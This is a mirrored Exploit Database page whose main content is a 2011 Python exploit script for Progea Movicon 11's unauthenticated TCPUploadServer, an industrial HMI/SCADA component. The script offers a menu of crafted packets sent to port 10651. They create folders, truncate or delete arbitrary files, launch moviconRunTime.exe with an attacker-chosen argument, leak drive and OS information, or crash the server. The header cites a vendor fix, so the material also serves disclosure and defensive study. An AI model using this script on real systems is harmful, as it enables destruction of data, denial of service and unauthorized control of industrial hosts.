Progea Movicon 11 – ‘TCPUploadServer’ Remote File System

• Exploit Database
• 112 阅读

• 作者： Jeremy Brown
  日期： 2011-03-23
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17034/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110

  #!/usr/bin/python # movi.py # Progea Movicon TCPUploadServer Remote Exploit # Jeremy Brown / jbrown at patchtuesday dot org # Mar 2011 # # TCPUploadServer allows remote users to execute functions on the server # without any form of authentication. Impacts include deletion of arbitrary # files, execution of a program with an arbitrary argument, crashing the # server, information disclosure, and more. This design flaw puts the host # running this server at risk of potentially unauthorized functions being # executed on the system. # # Tested on Progea Movicon 11 TCPUploadServer running on Windows # # Fix: http://support.progea.com/download/Mov11.2_Setup.zip #   import sys import socket   hdr="MovX"   funcs=(1,2,3,4,5,6,7,8) # "B" is listed as 8 only for convience. other functions include (the real) 8, 9, A, and V   if len(sys.argv)<3: print "Progea Movicon TCPUploadServer Remote Exploit" print "Usage: %s <target> <function> [data]"%sys.argv[0] print "\nWhat would you like to do?\n" print "[1] Create a folder" print "[2] Overwrite a file with NULL and cause 100%% CPU" print "[3] Delete a file" print "[4] Execute moviconRunTime.exe with a specified argument" print "[5] Create a desktop shortcut" print "[6] Retrieve drive information" print "[7] Retrieve os service pack" print "[8] Crash the server\n" print "* Default data is \"test\"" sys.exit(0)   target=sys.argv[1] port=10651 cs=target,port   func=int(sys.argv[2])   if len(sys.argv)==4: data=sys.argv[3] else: data="test"   if func not in funcs: print "Invalid function" sys.exit(1)   if(func==1): print "Crafting a packet to create the folder \"%s\"..."%data pkt=hdr+"1"+"B"+data+"\x00"*(66-len(data))   elif(func==2): print "Crafting a packet to truncate (or create) the file \"%s\" to 0 bytes and cause 100%% CPU..."%data pkt=hdr+"2"+"B"+data+"\x00"*(66-len(data)) # O_RDWR|O_CREAT|O_TRUNC, might be more to this, it&apos;s supposedly a copy function, but i&apos;m moving on   elif(func==3): print "Crafting a packet to delete the file \"%s\"..."%data pkt=hdr+"3"+"B"+data+"\x00"*(66-len(data))   elif(func==4): print "Crafting a packet to execute moviconRunTime.exe with the argument \"%s\"..."%data pkt=hdr+"4"+"BB"+data+"\x00"*(65-len(data))   elif(func==5): print "Crafting a packet to create a desktop shortcut with the name (also appended to the link path) \"%s\"..."%data pkt=hdr+"5"+"B"+data+"\x00"*(66-len(data))   elif(func==6): print "Crafting a packet to retrieve drive information..." pkt=hdr+"6"+"\x01"   elif(func==7): print "Crafting a packet to retrieve os service pack..." pkt=hdr+"7"+"\x00"   elif(func==8): print "Crafting a packet to crash the server..." pkt=hdr+"B"+"\x00"   sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.connect(cs)   sock.send(pkt) sock.send(pkt)   print "\nPacket sent!"   if((func==6)|(func==7)): info=sock.recv(128) if(info): print "\nRetrieved info:\n" if(func==6): print "%s"%info[6:] elif(func==7): print "%s"%info[22:] else: print "\nNo info"   sock.close()